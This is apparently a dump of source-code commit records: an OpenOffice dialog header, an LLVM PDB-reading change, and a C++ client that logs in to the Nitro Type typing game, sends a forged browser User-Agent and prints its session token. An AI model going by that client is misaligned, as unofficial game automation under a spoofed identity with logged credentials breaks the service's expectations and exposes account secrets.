A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_TPTABLE_HXX\n#define SC_TPTABLE_HXX\n\n#ifndef _SFXTABDLG_HXX \/\/autogen\n#include <sfx2\/tabdlg.hxx>\n#endif\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef _SV_FIELD_HXX \/\/autogen\n#include <vcl\/field.hxx>\n#endif\n\n\/\/===================================================================\n\nclass ScTablePage : public SfxTabPage\n{\npublic:\n    static  SfxTabPage* Create          ( Window*           pParent,\n                                          const SfxItemSet& rCoreSet );\n    static  USHORT*     GetRanges       ();\n    virtual BOOL        FillItemSet     ( SfxItemSet& rCoreSet );\n    virtual void        Reset           ( const SfxItemSet& rCoreSet );\n    virtual int         DeactivatePage  ( SfxItemSet* pSet = NULL );\n\nprivate:\n           ScTablePage( Window*         pParent,\n                         const SfxItemSet&  rCoreSet );\n            ~ScTablePage();\nprivate:\n    FixedLine       aFlPageDir;\n    RadioButton     aBtnTopDown;\n    RadioButton     aBtnLeftRight;\n    FixedBitmap     aBmpPageDir;\n    Bitmap          aImgLeftRight;\n    Bitmap          aImgTopDown;\n    CheckBox        aBtnPageNo;\n    NumericField    aEdPageNo;\n\n    FixedLine       aFlPrint;\n    CheckBox        aBtnHeaders;\n    CheckBox        aBtnGrid;\n    CheckBox        aBtnNotes;\n    CheckBox        aBtnObjects;\n    CheckBox        aBtnCharts;\n    CheckBox        aBtnDrawings;\n    CheckBox        aBtnFormulas;\n    CheckBox        aBtnNullVals;\n\n    FixedLine       aFlScale;\n    RadioButton     aBtnScaleAll;\n    RadioButton     aBtnScalePageNum;\n    MetricField     aEdScaleAll;\n    NumericField    aEdScalePageNum;\n\n#ifdef _TPTABLE_CXX\nprivate:\n    \/\/------------------------------------\n    \/\/ Handler:\n    DECL_LINK( ScaleHdl,   RadioButton* );\n    DECL_LINK( PageDirHdl, RadioButton* );\n    DECL_LINK( PageNoHdl,  CheckBox* );\n#endif\n};\n\n\n\n#endif \/\/ SC_TPTABLE_HXX\n<commit_msg>#99784# HC support for Page style->Sheet tabpage<commit_after>\/*************************************************************************\n *\n *  $RCSfile: tptable.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: dr $ $Date: 2002-05-31 11:20:43 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_TPTABLE_HXX\n#define SC_TPTABLE_HXX\n\n#ifndef _SFXTABDLG_HXX \/\/autogen\n#include <sfx2\/tabdlg.hxx>\n#endif\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef _SV_FIELD_HXX \/\/autogen\n#include <vcl\/field.hxx>\n#endif\n\n\/\/===================================================================\n\nclass ScTablePage : public SfxTabPage\n{\npublic:\n    static  SfxTabPage* Create          ( Window*           pParent,\n                                          const SfxItemSet& rCoreSet );\n    static  USHORT*     GetRanges       ();\n    virtual BOOL        FillItemSet     ( SfxItemSet& rCoreSet );\n    virtual void        Reset           ( const SfxItemSet& rCoreSet );\n    virtual int         DeactivatePage  ( SfxItemSet* pSet = NULL );\n    virtual void        DataChanged     ( const DataChangedEvent& rDCEvt );\n\nprivate:\n           ScTablePage( Window*         pParent,\n                         const SfxItemSet&  rCoreSet );\n            ~ScTablePage();\n\n    void            ShowImage();\n\nprivate:\n    FixedLine       aFlPageDir;\n    RadioButton     aBtnTopDown;\n    RadioButton     aBtnLeftRight;\n    FixedImage      aBmpPageDir;\n    Image           aImgLeftRight;\n    Image           aImgTopDown;\n    Image           aImgLeftRightHC;\n    Image           aImgTopDownHC;\n    CheckBox        aBtnPageNo;\n    NumericField    aEdPageNo;\n\n    FixedLine       aFlPrint;\n    CheckBox        aBtnHeaders;\n    CheckBox        aBtnGrid;\n    CheckBox        aBtnNotes;\n    CheckBox        aBtnObjects;\n    CheckBox        aBtnCharts;\n    CheckBox        aBtnDrawings;\n    CheckBox        aBtnFormulas;\n    CheckBox        aBtnNullVals;\n\n    FixedLine       aFlScale;\n    RadioButton     aBtnScaleAll;\n    RadioButton     aBtnScalePageNum;\n    MetricField     aEdScaleAll;\n    NumericField    aEdScalePageNum;\n\n#ifdef _TPTABLE_CXX\nprivate:\n    \/\/------------------------------------\n    \/\/ Handler:\n    DECL_LINK( ScaleHdl,   RadioButton* );\n    DECL_LINK( PageDirHdl, RadioButton* );\n    DECL_LINK( PageNoHdl,  CheckBox* );\n#endif\n};\n\n\n\n#endif \/\/ SC_TPTABLE_HXX\n<|endoftext|>"}
{"text":"<commit_before>#include \"NTClient.h\"\nusing namespace std;\n\nNTClient::NTClient() {\n\thasError = false;\n\tfirstConnect = true;\n\tconnected = false;\n}\nbool NTClient::login(string username, string password) {\n\tuname = username;\n\tpword = password;\n\tbool ret = true;\n\tstring data = string(\"username=\");\n\tdata += uname;\n\tdata += \"&password=\";\n\tdata += pword;\n\tdata += \"&adb=1&tz=America%2FChicago\"; \/\/ No need to have anything other than Chicago timezone\n\thttplib::SSLClient loginReq(NITROTYPE_HOSTNAME, HTTPS_PORT);\n\tshared_ptr<httplib::Response> res = loginReq.post(NT_LOGIN_ENDPOINT, data, \"application\/x-www-form-urlencoded; charset=UTF-8\");\n\tif (res) {\n\t\tbool foundLoginCookie = false;\n\t\tfor (int i = 0; i < res->cookies.size(); ++i) {\n\t\t\tstring cookie = res->cookies.at(i);\n\t\t\taddCookie(Utils::extractCKey(cookie), Utils::extractCValue(cookie));\n\t\t\tif (cookie.find(\"ntuserrem=\") == 0) {\n\t\t\t\tfoundLoginCookie = true;\n\t\t\t\ttoken = Utils::extractCValue(cookie);\n\t\t\t\tcout << \"Retrieved login token: \" << token << endl;\n\t\t\t\taddCookie(\"ntuserrem\", token);\n\t\t\t}\n\t\t}\n\t\tif (!foundLoginCookie) {\n\t\t\tret = false;\n\t\t\tcout << \"Unable to locate the login cookie. Maybe try a different account?\\n\";\n\t\t}\n\t} else {\n\t\tret = false;\n\t\tcout << \"Login request failed. This might be a network issue. Maybe try resetting your internet connection?\\n\";\n\t}\n\tbool success = getPrimusSID();\n\tif (!success) return false;\n\treturn ret;\n}\nbool NTClient::connect() {\n\twsh = new Hub();\n\ttime_t tnow = time(0);\n\tstringstream uristream;\n\turistream  << NT_REALTIME_WS_ENDPOINT << \"?_primuscb=\" << tnow << \"-0&EIO=3&transport=websocket&sid=\" << primusSid << \"&t=\" << tnow << \"&b64=1\";\n\tstring wsURI = uristream.str();\n\tcout << \"Connecting to endpoint: \" << wsURI << endl;\n\tif (firstConnect) {\n\t\taddListeners();\n\t}\n\t\/\/ cout << \"Cookies: \" << rawCookieStr << endl << endl;\n\t\/\/ Create override headers\n\tSMap customHeaders;\n\tcustomHeaders[\"Cookie\"] = rawCookieStr;\n\tcustomHeaders[\"Origin\"] = \"https:\/\/www.nitrotype.com\";\n\tcustomHeaders[\"User-Agent\"] = \"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Ubuntu Chromium\/55.0.2883.87 Chrome\/55.0.2883.87 Safari\/537.36\";\n\t\/\/ customHeaders[\"Host\"] = \"realtime1.nitrotype.com\";\n\twsh->connect(wsURI, (void*)this, customHeaders, 7000);\n\t\/\/ wsh->connect(wsURI);\n\tif (firstConnect) {\n\t\twsh->run();\n\t\tfirstConnect = false;\n\t}\n\treturn true;\n}\nvoid NTClient::addCookie(string key, string val) {\n\tSPair sp = SPair(key, val);\n\tcookies.push_back(sp);\n}\nbool NTClient::getPrimusSID() {\n\ttime_t tnow = time(0);\n\trawCookieStr = Utils::stringifyCookies(&cookies);\n\tstringstream squery;\n\tsquery << \"?_primuscb=\" << tnow << \"-0&EIO=3&transport=polling&t=\" << tnow << \"-0&b64=1\";\n\tstring queryStr = squery.str();\n\n\thttplib::SSLClient loginReq(NT_REALTIME_HOST, HTTPS_PORT);\n\tstring path = NT_PRIMUS_ENDPOINT + queryStr;\n\tshared_ptr<httplib::Response> res = loginReq.get(path.c_str(), rawCookieStr.c_str());\n\tif (res) {\n\t\tjson jres = json::parse(res->body.substr(4, res->body.length()));\n\t\tprimusSid = jres[\"sid\"];\n\t\tcout << \"Resolved primus SID: \" << primusSid << endl;\n\t\taddCookie(\"io\", primusSid);\n\t\trawCookieStr = Utils::stringifyCookies(&cookies);\n\t} else {\n\t\tcout << \"Error retrieving primus handshake data.\\n\";\n\t\treturn false;\n\t}\n\treturn true;\n}\nstring NTClient::getJoinPacket(int avgSpeed) {\n\tjson p = {\n\t\t{\"stream\", \"race\"},\n\t\t{\"msg\", \"join\"},\n\t\t{\"payload\", {\n\t\t\t{\"debugging\", false},\n\t\t\t{\"avgSpeed\", avgSpeed},\n\t\t\t{\"track\", \"desert\"},\n\t\t\t{\"music\", \"dirty_bit\"},\n\t\t\t{\"update\", 3417}\n\t\t}}\n\t};\n\tstring ret = \"4\";\n\tret += p.dump();\n\treturn ret;\n}\nvoid NTClient::addListeners() {\n\tassert(wsh != nullptr);\n\twsh->onError([this](void* udata) {\n\t\tcout << \"Failed to connect to WebSocket server.\" << endl;\n\t\thasError = true;\n\t});\n\twsh->onConnection([this](WebSocket<CLIENT>* wsocket, HttpRequest req) {\n\t\tcout << \"Connected to the realtime server.\" << endl;\n\t\tonConnection(wsocket, req);\n\t});\n\twsh->onDisconnection([this](WebSocket<CLIENT>* wsocket, int code, char* msg, size_t len) {\n\t\tcout << \"Disconnected from the realtime server.\" << endl;\n\t\tonDisconnection(wsocket, code, msg, len);\n\t});\n\twsh->onMessage([this](WebSocket<SERVER>* ws, char* msg, size_t len, OpCode opCode) {\n\t\tonMessage(ws, msg, len, opCode);\n\t});\n}\nvoid NTClient::onDisconnection(WebSocket<CLIENT>* wsocket, int code, char* msg, size_t len) {\n\tcout << \"Disconn message: \" << string(msg, len) << endl;\n\tcout << \"Disconn code: \" << code << endl;\n}\nvoid NTClient::onMessage(WebSocket<SERVER>* ws, char* msg, size_t len, OpCode opCode) {\n\tcout << \"ws message\" << endl; \/\/ TODO: parse incoming messages\n}\nvoid NTClient::onConnection(WebSocket<CLIENT>* wsocket, HttpRequest req) {\n\t\/\/ Send a probe, which is required for connection\n\twsocket->send(\"2probe\", OpCode::TEXT);\n\t\/*\n\t\tstring joinTo = getJoinPacket(100); \/\/ 100 WPM just to test\n\t\tcout << joinTo << endl;\n\t\twsocket->send(joinTo.c_str());\n\t*\/\n}<commit_msg>Dont add extra cookies<commit_after>#include \"NTClient.h\"\nusing namespace std;\n\nNTClient::NTClient() {\n\thasError = false;\n\tfirstConnect = true;\n\tconnected = false;\n}\nbool NTClient::login(string username, string password) {\n\tuname = username;\n\tpword = password;\n\tbool ret = true;\n\tstring data = string(\"username=\");\n\tdata += uname;\n\tdata += \"&password=\";\n\tdata += pword;\n\tdata += \"&adb=1&tz=America%2FChicago\"; \/\/ No need to have anything other than Chicago timezone\n\thttplib::SSLClient loginReq(NITROTYPE_HOSTNAME, HTTPS_PORT);\n\tshared_ptr<httplib::Response> res = loginReq.post(NT_LOGIN_ENDPOINT, data, \"application\/x-www-form-urlencoded; charset=UTF-8\");\n\tif (res) {\n\t\tbool foundLoginCookie = false;\n\t\tfor (int i = 0; i < res->cookies.size(); ++i) {\n\t\t\tstring cookie = res->cookies.at(i);\n\t\t\taddCookie(Utils::extractCKey(cookie), Utils::extractCValue(cookie));\n\t\t\tif (cookie.find(\"ntuserrem=\") == 0) {\n\t\t\t\tfoundLoginCookie = true;\n\t\t\t\ttoken = Utils::extractCValue(cookie);\n\t\t\t\tcout << \"Retrieved login token: \" << token << endl;\n\t\t\t\t\/\/ addCookie(\"ntuserrem\", token);\n\t\t\t}\n\t\t}\n\t\tif (!foundLoginCookie) {\n\t\t\tret = false;\n\t\t\tcout << \"Unable to locate the login cookie. Maybe try a different account?\\n\";\n\t\t}\n\t} else {\n\t\tret = false;\n\t\tcout << \"Login request failed. This might be a network issue. Maybe try resetting your internet connection?\\n\";\n\t}\n\tbool success = getPrimusSID();\n\tif (!success) return false;\n\treturn ret;\n}\nbool NTClient::connect() {\n\twsh = new Hub();\n\ttime_t tnow = time(0);\n\tstringstream uristream;\n\turistream  << NT_REALTIME_WS_ENDPOINT << \"?_primuscb=\" << tnow << \"-1&EIO=3&transport=websocket&sid=\" << primusSid << \"&t=\" << tnow << \"-2&b64=1\";\n\tstring wsURI = uristream.str();\n\tcout << \"Connecting to endpoint: \" << wsURI << endl;\n\tif (firstConnect) {\n\t\taddListeners();\n\t}\n\t\/\/ cout << \"Cookies: \" << rawCookieStr << endl << endl;\n\t\/\/ Create override headers\n\tSMap customHeaders;\n\tcustomHeaders[\"cookie\"] = rawCookieStr;\n\tcustomHeaders[\"Origin\"] = \"https:\/\/www.nitrotype.com\";\n\tcustomHeaders[\"User-Agent\"] = \"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Ubuntu Chromium\/55.0.2883.87 Chrome\/55.0.2883.87 Safari\/537.36\";\n\t\/\/ customHeaders[\"Host\"] = \"realtime1.nitrotype.com\";\n\twsh->connect(wsURI, (void*)this, customHeaders, 7000);\n\t\/\/ wsh->connect(wsURI);\n\tif (firstConnect) {\n\t\twsh->run();\n\t\tfirstConnect = false;\n\t}\n\treturn true;\n}\nvoid NTClient::addCookie(string key, string val) {\n\tSPair sp = SPair(key, val);\n\tcookies.push_back(sp);\n}\nbool NTClient::getPrimusSID() {\n\ttime_t tnow = time(0);\n\trawCookieStr = Utils::stringifyCookies(&cookies);\n\tstringstream squery;\n\tsquery << \"?_primuscb=\" << tnow << \"-0&EIO=3&transport=polling&t=\" << tnow << \"-0&b64=1\";\n\tstring queryStr = squery.str();\n\n\thttplib::SSLClient loginReq(NT_REALTIME_HOST, HTTPS_PORT);\n\tstring path = NT_PRIMUS_ENDPOINT + queryStr;\n\tshared_ptr<httplib::Response> res = loginReq.get(path.c_str(), rawCookieStr.c_str());\n\tif (res) {\n\t\tcout << res->body << endl;\n\t\tjson jres = json::parse(res->body.substr(4, res->body.length()));\n\t\tprimusSid = jres[\"sid\"];\n\t\tcout << \"Resolved primus SID: \" << primusSid << endl;\n\t\taddCookie(\"io\", primusSid);\n\t\trawCookieStr = Utils::stringifyCookies(&cookies);\n\t} else {\n\t\tcout << \"Error retrieving primus handshake data.\\n\";\n\t\treturn false;\n\t}\n\treturn true;\n}\nstring NTClient::getJoinPacket(int avgSpeed) {\n\tjson p = {\n\t\t{\"stream\", \"race\"},\n\t\t{\"msg\", \"join\"},\n\t\t{\"payload\", {\n\t\t\t{\"debugging\", false},\n\t\t\t{\"avgSpeed\", avgSpeed},\n\t\t\t{\"track\", \"desert\"},\n\t\t\t{\"music\", \"dirty_bit\"},\n\t\t\t{\"update\", 3417}\n\t\t}}\n\t};\n\tstring ret = \"4\";\n\tret += p.dump();\n\treturn ret;\n}\nvoid NTClient::addListeners() {\n\tassert(wsh != nullptr);\n\twsh->onError([this](void* udata) {\n\t\tcout << \"Failed to connect to WebSocket server.\" << endl;\n\t\thasError = true;\n\t});\n\twsh->onConnection([this](WebSocket<CLIENT>* wsocket, HttpRequest req) {\n\t\tcout << \"Connected to the realtime server.\" << endl;\n\t\tcout << req.getUrl().key << endl;\n\t\tonConnection(wsocket, req);\n\t});\n\twsh->onDisconnection([this](WebSocket<CLIENT>* wsocket, int code, char* msg, size_t len) {\n\t\tcout << \"Disconnected from the realtime server.\" << endl;\n\t\tonDisconnection(wsocket, code, msg, len);\n\t});\n\twsh->onMessage([this](WebSocket<SERVER>* ws, char* msg, size_t len, OpCode opCode) {\n\t\tonMessage(ws, msg, len, opCode);\n\t});\n}\nvoid NTClient::onDisconnection(WebSocket<CLIENT>* wsocket, int code, char* msg, size_t len) {\n\tcout << \"Disconn message: \" << string(msg, len) << endl;\n\tcout << \"Disconn code: \" << code << endl;\n}\nvoid NTClient::onMessage(WebSocket<SERVER>* ws, char* msg, size_t len, OpCode opCode) {\n\tcout << \"ws message\" << endl; \/\/ TODO: parse incoming messages\n}\nvoid NTClient::onConnection(WebSocket<CLIENT>* wsocket, HttpRequest req) {\n\t\/\/ Send a probe, which is required for connection\n\twsocket->send(\"2probe\", OpCode::TEXT);\n\t\/*\n\tstring joinTo = getJoinPacket(100); \/\/ 100 WPM just to test\n\tcout << joinTo << endl;\n\twsocket->send(joinTo.c_str());\n\t*\/\n}<|endoftext|>"}
{"text":"<commit_before>\/\/===- TpiStream.cpp - PDB Type Info (TPI) Stream 2 Access ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/DebugInfo\/PDB\/Raw\/TpiStream.h\"\n\n#include \"llvm\/DebugInfo\/CodeView\/CodeView.h\"\n#include \"llvm\/DebugInfo\/CodeView\/StreamReader.h\"\n#include \"llvm\/DebugInfo\/CodeView\/TypeIndex.h\"\n#include \"llvm\/DebugInfo\/CodeView\/TypeRecord.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/MappedBlockStream.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/PDBFile.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/RawConstants.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/RawError.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/RawTypes.h\"\n\n#include \"llvm\/Support\/Endian.h\"\n\nusing namespace llvm;\nusing namespace llvm::support;\nusing namespace llvm::pdb;\n\nnamespace {\nconst uint32_t MinHashBuckets = 0x1000;\nconst uint32_t MaxHashBuckets = 0x40000;\n}\n\nstatic uint32_t HashBufferV8(uint8_t *buffer, uint32_t NumBuckets) {\n  \/\/ Not yet implemented, this is probably some variation of CRC32 but we need\n  \/\/ to be sure of the precise implementation otherwise we won't be able to work\n  \/\/ with persisted hash values.\n  return 0;\n}\n\n\/\/ This corresponds to `HDR` in PDB\/dbi\/tpi.h.\nstruct TpiStream::HeaderInfo {\n  struct EmbeddedBuf {\n    little32_t Off;\n    ulittle32_t Length;\n  };\n\n  ulittle32_t Version;\n  ulittle32_t HeaderSize;\n  ulittle32_t TypeIndexBegin;\n  ulittle32_t TypeIndexEnd;\n  ulittle32_t TypeRecordBytes;\n\n  \/\/ The following members correspond to `TpiHash` in PDB\/dbi\/tpi.h.\n  ulittle16_t HashStreamIndex;\n  ulittle16_t HashAuxStreamIndex;\n  ulittle32_t HashKeySize;\n  ulittle32_t NumHashBuckets;\n\n  EmbeddedBuf HashValueBuffer;\n  EmbeddedBuf IndexOffsetBuffer;\n  EmbeddedBuf HashAdjBuffer;\n};\n\nTpiStream::TpiStream(PDBFile &File, uint32_t StreamIdx)\n    : Pdb(File), Stream(StreamIdx, File), HashFunction(nullptr) {}\n\nTpiStream::~TpiStream() {}\n\nError TpiStream::reload() {\n  codeview::StreamReader Reader(Stream);\n\n  if (Reader.bytesRemaining() < sizeof(HeaderInfo))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream does not contain a header.\");\n\n  if (Reader.readObject(Header))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream does not contain a header.\");\n\n  if (Header->Version != PdbTpiV80)\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"Unsupported TPI Version.\");\n\n  if (Header->HeaderSize != sizeof(HeaderInfo))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"Corrupt TPI Header size.\");\n\n  if (Header->HashKeySize != sizeof(ulittle32_t))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream expected 4 byte hash key size.\");\n\n  if (Header->NumHashBuckets < MinHashBuckets ||\n      Header->NumHashBuckets > MaxHashBuckets)\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream Invalid number of hash buckets.\");\n\n  HashFunction = HashBufferV8;\n\n  \/\/ The actual type records themselves come from this stream\n  if (auto EC = Reader.readArray(TypeRecords, Header->TypeRecordBytes))\n    return EC;\n\n  \/\/ Hash indices, hash values, etc come from the hash stream.\n  HashStream.reset(new MappedBlockStream(Header->HashStreamIndex, Pdb));\n  codeview::StreamReader HSR(*HashStream);\n  uint32_t NumHashValues = Header->HashValueBuffer.Length \/ sizeof(ulittle32_t);\n  HSR.setOffset(Header->HashValueBuffer.Off);\n  if (auto EC = HSR.readArray(HashValues, NumHashValues))\n    return EC;\n\n  HSR.setOffset(Header->IndexOffsetBuffer.Off);\n  uint32_t NumTypeIndexOffsets =\n      Header->IndexOffsetBuffer.Length \/ sizeof(TypeIndexOffset);\n  if (auto EC = HSR.readArray(TypeIndexOffsets, NumTypeIndexOffsets))\n    return EC;\n\n  HSR.setOffset(Header->HashAdjBuffer.Off);\n  uint32_t NumHashAdjustments =\n      Header->HashAdjBuffer.Length \/ sizeof(TypeIndexOffset);\n  if (auto EC = HSR.readArray(HashAdjustments, NumHashAdjustments))\n    return EC;\n\n  return Error::success();\n}\n\nPdbRaw_TpiVer TpiStream::getTpiVersion() const {\n  uint32_t Value = Header->Version;\n  return static_cast<PdbRaw_TpiVer>(Value);\n}\n\nuint32_t TpiStream::TypeIndexBegin() const { return Header->TypeIndexBegin; }\n\nuint32_t TpiStream::TypeIndexEnd() const { return Header->TypeIndexEnd; }\n\nuint32_t TpiStream::NumTypeRecords() const {\n  return TypeIndexEnd() - TypeIndexBegin();\n}\n\nuint16_t TpiStream::getTypeHashStreamIndex() const {\n  return Header->HashStreamIndex;\n}\n\nuint16_t TpiStream::getTypeHashStreamAuxIndex() const {\n  return Header->HashAuxStreamIndex;\n}\n\ncodeview::FixedStreamArray<support::ulittle32_t>\nTpiStream::getHashValues() const {\n  return HashValues;\n}\n\ncodeview::FixedStreamArray<TypeIndexOffset>\nTpiStream::getTypeIndexOffsets() const {\n  return TypeIndexOffsets;\n}\n\ncodeview::FixedStreamArray<TypeIndexOffset>\nTpiStream::getHashAdjustments() const {\n  return HashAdjustments;\n}\n\niterator_range<codeview::CVTypeArray::Iterator>\nTpiStream::types(bool *HadError) const {\n  return llvm::make_range(TypeRecords.begin(HadError), TypeRecords.end());\n}\n<commit_msg>[pdbdump] Verify the size of TPI hash records.<commit_after>\/\/===- TpiStream.cpp - PDB Type Info (TPI) Stream 2 Access ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/DebugInfo\/PDB\/Raw\/TpiStream.h\"\n\n#include \"llvm\/DebugInfo\/CodeView\/CodeView.h\"\n#include \"llvm\/DebugInfo\/CodeView\/StreamReader.h\"\n#include \"llvm\/DebugInfo\/CodeView\/TypeIndex.h\"\n#include \"llvm\/DebugInfo\/CodeView\/TypeRecord.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/MappedBlockStream.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/PDBFile.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/RawConstants.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/RawError.h\"\n#include \"llvm\/DebugInfo\/PDB\/Raw\/RawTypes.h\"\n\n#include \"llvm\/Support\/Endian.h\"\n\nusing namespace llvm;\nusing namespace llvm::support;\nusing namespace llvm::pdb;\n\nnamespace {\nconst uint32_t MinHashBuckets = 0x1000;\nconst uint32_t MaxHashBuckets = 0x40000;\n}\n\nstatic uint32_t HashBufferV8(uint8_t *buffer, uint32_t NumBuckets) {\n  \/\/ Not yet implemented, this is probably some variation of CRC32 but we need\n  \/\/ to be sure of the precise implementation otherwise we won't be able to work\n  \/\/ with persisted hash values.\n  return 0;\n}\n\n\/\/ This corresponds to `HDR` in PDB\/dbi\/tpi.h.\nstruct TpiStream::HeaderInfo {\n  struct EmbeddedBuf {\n    little32_t Off;\n    ulittle32_t Length;\n  };\n\n  ulittle32_t Version;\n  ulittle32_t HeaderSize;\n  ulittle32_t TypeIndexBegin;\n  ulittle32_t TypeIndexEnd;\n  ulittle32_t TypeRecordBytes;\n\n  \/\/ The following members correspond to `TpiHash` in PDB\/dbi\/tpi.h.\n  ulittle16_t HashStreamIndex;\n  ulittle16_t HashAuxStreamIndex;\n  ulittle32_t HashKeySize;\n  ulittle32_t NumHashBuckets;\n\n  EmbeddedBuf HashValueBuffer;\n  EmbeddedBuf IndexOffsetBuffer;\n  EmbeddedBuf HashAdjBuffer;\n};\n\nTpiStream::TpiStream(PDBFile &File, uint32_t StreamIdx)\n    : Pdb(File), Stream(StreamIdx, File), HashFunction(nullptr) {}\n\nTpiStream::~TpiStream() {}\n\nError TpiStream::reload() {\n  codeview::StreamReader Reader(Stream);\n\n  if (Reader.bytesRemaining() < sizeof(HeaderInfo))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream does not contain a header.\");\n\n  if (Reader.readObject(Header))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream does not contain a header.\");\n\n  if (Header->Version != PdbTpiV80)\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"Unsupported TPI Version.\");\n\n  if (Header->HeaderSize != sizeof(HeaderInfo))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"Corrupt TPI Header size.\");\n\n  if (Header->HashKeySize != sizeof(ulittle32_t))\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream expected 4 byte hash key size.\");\n\n  if (Header->NumHashBuckets < MinHashBuckets ||\n      Header->NumHashBuckets > MaxHashBuckets)\n    return make_error<RawError>(raw_error_code::corrupt_file,\n                                \"TPI Stream Invalid number of hash buckets.\");\n\n  HashFunction = HashBufferV8;\n\n  \/\/ The actual type records themselves come from this stream\n  if (auto EC = Reader.readArray(TypeRecords, Header->TypeRecordBytes))\n    return EC;\n\n  \/\/ Hash indices, hash values, etc come from the hash stream.\n  HashStream.reset(new MappedBlockStream(Header->HashStreamIndex, Pdb));\n  codeview::StreamReader HSR(*HashStream);\n\n  uint32_t NumHashValues = Header->HashValueBuffer.Length \/ sizeof(ulittle32_t);\n  if (NumHashValues != NumTypeRecords())\n    return make_error<RawError>(\n        raw_error_code::corrupt_file,\n        \"TPI hash count does not match with the number of type records.\");\n  HSR.setOffset(Header->HashValueBuffer.Off);\n  if (auto EC = HSR.readArray(HashValues, NumHashValues))\n    return EC;\n\n  HSR.setOffset(Header->IndexOffsetBuffer.Off);\n  uint32_t NumTypeIndexOffsets =\n      Header->IndexOffsetBuffer.Length \/ sizeof(TypeIndexOffset);\n  if (auto EC = HSR.readArray(TypeIndexOffsets, NumTypeIndexOffsets))\n    return EC;\n\n  HSR.setOffset(Header->HashAdjBuffer.Off);\n  uint32_t NumHashAdjustments =\n      Header->HashAdjBuffer.Length \/ sizeof(TypeIndexOffset);\n  if (auto EC = HSR.readArray(HashAdjustments, NumHashAdjustments))\n    return EC;\n\n  return Error::success();\n}\n\nPdbRaw_TpiVer TpiStream::getTpiVersion() const {\n  uint32_t Value = Header->Version;\n  return static_cast<PdbRaw_TpiVer>(Value);\n}\n\nuint32_t TpiStream::TypeIndexBegin() const { return Header->TypeIndexBegin; }\n\nuint32_t TpiStream::TypeIndexEnd() const { return Header->TypeIndexEnd; }\n\nuint32_t TpiStream::NumTypeRecords() const {\n  return TypeIndexEnd() - TypeIndexBegin();\n}\n\nuint16_t TpiStream::getTypeHashStreamIndex() const {\n  return 